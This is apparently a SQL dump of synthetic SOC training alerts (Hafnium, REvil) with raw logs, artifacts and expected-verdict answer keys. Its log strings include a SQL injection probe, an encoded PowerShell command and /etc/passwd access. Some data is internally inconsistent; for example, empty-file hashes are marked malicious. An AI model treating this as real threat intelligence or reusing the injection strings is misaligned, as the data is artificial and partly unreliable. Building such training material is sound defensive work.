'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(856, 'Initial Access via VPN Authentication Bypass', 'high', 'SIEM logs from VPN appliances', 'Hafnium exploits authentication bypass vulnerabilities in Pulse Secure, Fortinet, and Citrix VPNs to establish initial access to targeted networks.', 'Initial Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:45Z\",\"vpn_appliance\":\"Pulse Secure\",\"event_type\":\"authentication_bypass\",\"src_ip\":\"185.92.220.45\",\"internal_ip\":\"192.168.10.22\",\"username\":\"admin\",\"session_id\":\"93fj29fj2\",\"vulnerability_exploited\":\"CVE-2021-22893\",\"file_accessed\":\"/etc/passwd\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-01-15 00:50:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Hafnium activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with suspicious activity but not conclusively malicious.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"clean\",\"details\":\"Commonly used administrative account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.519Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"vpn_appliance\\\":\\\"Pulse Secure\\\",\\\"event_type\\\":\\\"authentication_bypass\\\",\\\"src_ip\\\":\\\"185.92.220.45\\\",\\\"internal_ip\\\":\\\"192.168.10.22\\\",\\\"username\\\":\\\"admin\\\",\\\"session_id\\\":\\\"93fj29fj2\\\",\\\"vulnerability_exploited\\\":\\\"CVE-2021-22893\\\",\\\"file_accessed\\\":\\\"/etc/passwd\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.519Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"vpn_appliance\\\":\\\"Pulse Secure\\\",\\\"event_type\\\":\\\"authentication_bypass\\\",\\\"src_ip\\\":\\\"185.92.220.45\\\",\\\"internal_ip\\\":\\\"192.168.10.22\\\",\\\"username\\\":\\\"admin\\\",\\\"session_id\\\":\\\"93fj29fj2\\\",\\\"vulnerability_exploited\\\":\\\"CVE-2021-22893\\\",\\\"file_accessed\\\":\\\"/etc/passwd\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.519Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"vpn_appliance\\\":\\\"Pulse Secure\\\",\\\"event_type\\\":\\\"authentication_bypass\\\",\\\"src_ip\\\":\\\"185.92.220.45\\\",\\\"internal_ip\\\":\\\"192.168.10.22\\\",\\\"username\\\":\\\"admin\\\",\\\"session_id\\\":\\\"93fj29fj2\\\",\\\"vulnerability_exploited\\\":\\\"CVE-2021-22893\\\",\\\"file_accessed\\\":\\\"/etc/passwd\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.519Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"vpn_appliance\\\":\\\"Pulse Secure\\\",\\\"event_type\\\":\\\"authentication_bypass\\\",\\\"src_ip\\\":\\\"185.92.220.45\\\",\\\"internal_ip\\\":\\\"192.168.10.22\\\",\\\"username\\\":\\\"admin\\\",\\\"session_id\\\":\\\"93fj29fj2\\\",\\\"vulnerability_exploited\\\":\\\"CVE-2021-22893\\\",\\\"file_accessed\\\":\\\"/etc/passwd\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.519Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"vpn_appliance\\\":\\\"Pulse Secure\\\",\\\"event_type\\\":\\\"authentication_bypass\\\",\\\"src_ip\\\":\\\"185.92.220.45\\\",\\\"internal_ip\\\":\\\"192.168.10.22\\\",\\\"username\\\":\\\"admin\\\",\\\"session_id\\\":\\\"93fj29fj2\\\",\\\"vulnerability_exploited\\\":\\\"CVE-2021-22893\\\",\\\"file_accessed\\\":\\\"/etc/passwd\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(857, 'Web Shell Deployment for Remote Execution', 'high', 'Web server logs', 'Hafnium has deployed a web shell on a compromised web server to execute commands remotely. This is a typical step used by adversaries to maintain persistence and control over the system.', 'Execution', 'T1505.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"http_method\":\"POST\",\"uri\":\"/uploads/shell.jsp\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"status_code\":200,\"response_size\":512,\"username\":\"webadmin\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-15 00:50:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known Hafnium IP address used in previous attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal web server.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"shell.jsp\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Web shell used for remote execution.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hash Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known web shell.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.520Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"http_method\\\":\\\"POST\\\",\\\"uri\\\":\\\"/uploads/shell.jsp\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"status_code\\\":200,\\\"response_size\\\":512,\\\"username\\\":\\\"webadmin\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.520Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"http_method\\\":\\\"POST\\\",\\\"uri\\\":\\\"/uploads/shell.jsp\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"status_code\\\":200,\\\"response_size\\\":512,\\\"username\\\":\\\"webadmin\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.520Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"http_method\\\":\\\"POST\\\",\\\"uri\\\":\\\"/uploads/shell.jsp\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"status_code\\\":200,\\\"response_size\\\":512,\\\"username\\\":\\\"webadmin\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.520Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"http_method\\\":\\\"POST\\\",\\\"uri\\\":\\\"/uploads/shell.jsp\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"status_code\\\":200,\\\"response_size\\\":512,\\\"username\\\":\\\"webadmin\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.520Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"http_method\\\":\\\"POST\\\",\\\"uri\\\":\\\"/uploads/shell.jsp\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"status_code\\\":200,\\\"response_size\\\":512,\\\"username\\\":\\\"webadmin\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(858, 'Establishing Persistence with Web Shells', 'medium', 'File integrity monitoring', 'A web shell was detected on the server, indicating a potential persistence mechanism established by the attacker to maintain long-term access. The presence of unauthorized files suggests a compromise.', 'Persistence', 'T1505.003', 1, 'new', NULL, '{\"event_time\":\"2023-10-02T14:23:45Z\",\"event_type\":\"file_creation\",\"file_path\":\"/var/www/html/suspicious_shell.php\",\"new_file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"source_ip\":\"203.0.113.45\",\"username\":\"webadmin\",\"action\":\"create\",\"internal_ip\":\"192.168.1.15\"}', '2026-01-15 00:50:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"/var/www/html/suspicious_shell.php\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known web shell used for post-exploitation.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious web shell activity.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple malicious activities.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"webadmin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Common administrative username.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.521Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-02T14:23:45Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"file_path\\\":\\\"/var/www/html/suspicious_shell.php\\\",\\\"new_file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"webadmin\\\",\\\"action\\\":\\\"create\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.521Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-02T14:23:45Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"file_path\\\":\\\"/var/www/html/suspicious_shell.php\\\",\\\"new_file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"webadmin\\\",\\\"action\\\":\\\"create\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.521Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-02T14:23:45Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"file_path\\\":\\\"/var/www/html/suspicious_shell.php\\\",\\\"new_file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"webadmin\\\",\\\"action\\\":\\\"create\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.521Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-02T14:23:45Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"file_path\\\":\\\"/var/www/html/suspicious_shell.php\\\",\\\"new_file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"webadmin\\\",\\\"action\\\":\\\"create\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.521Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-02T14:23:45Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"file_path\\\":\\\"/var/www/html/suspicious_shell.php\\\",\\\"new_file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"webadmin\\\",\\\"action\\\":\\\"create\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(859, 'Lateral Movement Detected - Hafnium Operation', 'high', 'Network traffic analysis', 'Observed lateral movement activity consistent with Hafnium APT group tactics. A compromised internal host was used to authenticate to multiple devices using stolen credentials. Data exfiltration attempts were detected targeting files typically associated with sensitive defense information.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"10.0.0.15\",\"attacker_ip\":\"203.0.113.76\",\"username\":\"jdoe\",\"success\":true,\"action\":\"login\",\"file_accessed\":\"/srv/data/defense_project.zip\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"protocol\":\"SMB\",\"description\":\"User jdoe successfully authenticated from internal IP 192.168.1.105 to host 10.0.0.15 and accessed sensitive file defense_project.zip. Network traffic originates from known malicious IP 203.0.113.76, suggesting possible credential compromise.\"}', '2026-01-15 00:50:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.76\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Associated with Hafnium APT activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Internal host involved in suspicious activity\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Integrity Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Hash observed in unauthorized access attempts\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"User account possibly compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(860, 'Suspicious Network Activity Detected', 'high', 'Network Intrusion Detection System', 'Initial access was achieved by exploiting a vulnerability in Kaseya VSA, allowing REvil to infiltrate managed service providers\' networks.', 'Initial Access', 'T1190', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T15:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"vulnerability_exploited\":\"Kaseya VSA zero-day\",\"malware_hash\":\"a3f5e2b1c3d4e5f678901234567890ab\",\"filename\":\"kaseya_vsa_exploit.exe\",\"protocol\":\"HTTP\",\"url\":\"http://malicious-site.com/exploit\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\"}', '2026-01-15 00:50:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with REvil C2 servers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local IP address of compromised server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a3f5e2b1c3d4e5f678901234567890ab\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with REvil malware.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-site.com/exploit\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenDNS\",\"verdict\":\"malicious\",\"details\":\"URL hosting exploit payload for Kaseya VSA.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(861, 'Malicious Script Execution on Endpoint', 'high', 'Endpoint Detection and Response', 'Upon gaining access, REvil executed malicious scripts to deploy ransomware across affected systems, encrypting vital data.', 'Execution', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.20\",\"user\":\"jdoe\",\"process\":\"powershell.exe\",\"script_name\":\"encrypt_payload.ps1\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\encrypt_payload.ps1\",\"severity\":\"High\",\"event_id\":\"4625\",\"description\":\"Malicious script executed by powershell.exe\"}', '2026-01-15 00:50:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple ransomware campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal corporate endpoint\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"encrypt_payload.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Script used to deploy ransomware\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with REvil ransomware\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Username of compromised account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
